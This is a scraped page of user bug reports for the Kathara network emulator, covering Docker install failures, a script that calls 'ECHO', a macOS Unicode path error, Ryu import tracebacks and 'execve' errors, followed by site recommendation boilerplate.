Netkit temp folder contains
labs trclgR5klR-ZZDuZuN5sCg_links
last_network_counter.txt trclgR5klR-ZZDuZuN5sCg_machines

Errore installazione

Buonasera, sto provando ad installare Kathara su Wiindows 10 Professional.
Credo di aver fatto tutto correttamente ma credo di avere qualche problema con Docker, ma non ne sono sicuro.
Purtroppo non ho seguito le lezioni quindi non so dove mettere le mani.

Attendo aiuto...

ps. in allegato il messaggio di errore presentato.

errore

check runs ECHO instead of echo

Describe the bug
ECHO is not a valid command on bash

To Reproduce

  1. run $NETKIT_HOME/check
  2. ./check: line 18: ECHO: command not found

Expected behavior
the output of echo $NETKIT_HOME

Screenshots
If applicable, add screenshots to help explain your problem.

"check" Command Output ```Docker version is Docker version 18.09.4, build d14af54266

Trying to run Docker Hello World

Hello from Docker!
This message shows that your installation appears to be working correctly.

To generate this message, Docker took the following steps:

  1. The Docker client contacted the Docker daemon.
  2. The Docker daemon pulled the "hello-world" image from the Docker Hub.
    (amd64)
  3. The Docker daemon created a new container from that image which runs the
    executable that produces the output you are currently reading.
  4. The Docker daemon streamed that output to the Docker client, which sent it
    to your terminal.

To try something more ambitious, you can run an Ubuntu container with:
$ docker run -it ubuntu bash

Share images, automate workflows, and more with a free Docker ID:
https://hub.docker.com/

For more examples and ideas, visit:
https://docs.docker.com/get-started/

Python version is
Python 2.7.15+

NETKIT_HOME is
./check: line 18: ECHO: command not found

Kathara version is
0.35.3

Config file contents are
unix_bin=/home/jonvac/Kathara/bin/wrapper/bin/netkit_dw

Netkit temp folder contains
ls: cannot access '/home/jonvac/netkit_temp/': No such file or directory

</details>


FileNotFoundError

I get this error when I launch kathara.
I have windows education and followed everything reported on the installation guide.
I also tried doing a kathara check but I get the same error
kathara

[macOS] lstart error when lab folder contains accented letters

I want to save a lab folder on iCloud. The general path is:
/Users/<USER>/Library/Mobile\ Documents/com\~apple\~CloudDocs/<FOLDER>/<MAYBE A SUBFOLDER>/<MAYBE ANOTHER SUBFOLDER>/kathara-lab

When I execute lstart I get:
Traceback (most recent call last): File "/Users/Massi/Kathara/bin/python/folder_hash.py", line 28, in <module> print(u.generate_urlsafe_hash(lab_path)) File "/Users/Massi/Kathara/bin/python/utils.py", line 12, in generate_urlsafe_hash return base64.urlsafe_b64encode(hashlib.md5(string.encode('utf-8')).digest())[:-2] UnicodeDecodeError: 'ascii' codec can't decode byte 0xcc in position 68: ordinal not in range(128)

Maybe the path string is too long, I don't know.

Ryu errors

I am trying to use Ryu to setup a SDN controller, but I keep getting errors whatever I do (even if I simply use --help option). Here is an example:

  • From ryu of-config-cli -h:
Traceback (most recent call last):
  File "/usr/local/bin/ryu", line 11, in <module>
    sys.exit(main())
  File "/usr/local/lib/python2.7/dist-packages/ryu/cmd/ryu_base.py", line 72, in main
    subcmd_mod = utils.import_module(subcmd_mod_name)
  File "/usr/local/lib/python2.7/dist-packages/ryu/utils.py", line 102, in import_module
    mod = importlib.import_module(name)
  File "/usr/lib/python2.7/importlib/__init__.py", line 37, in import_module
    __import__(name)
  File "/usr/local/lib/python2.7/dist-packages/ryu/cmd/of_config_cli.py", line 31, in <module>
    import lxml.etree as ET
ImportError: No module named lxml.etree
  • From ryu-manager -h:
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:15> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:16> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:18> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:19> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:10> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:11> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:26> ignored
Exception AttributeError: "'_SocketDuckForFd' object has no attribute '_closed'" in <bound method _SocketDuckForFd.__del__ of _SocketDuckForFd:27> ignored
lzma module is not available
Registered VCS backend: git
Registered VCS backend: hg
Registered VCS backend: svn
Registered VCS backend: bzr
  • Same for ryu-manager /usr/local/lib/python2.7/dist-packages/ryu/app/simple_switch.py

I am posting here because I think it can be a version mismatching of some modules

cannot start labs (execve: Bad address)

On Ubuntu 18.04 with Kathara 0.30, after installing Kathara as per the instructions in the README, whenever I try to run a command such as $NETKIT_HOME/lstart or $NETKIT_HOME/lclean I only get a sequence of

-1
execve: Bad address
-1
execve: Bad address
[...]

I tried this both with the maracas example suggested in the README and the single swith P4 example in included with the source.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.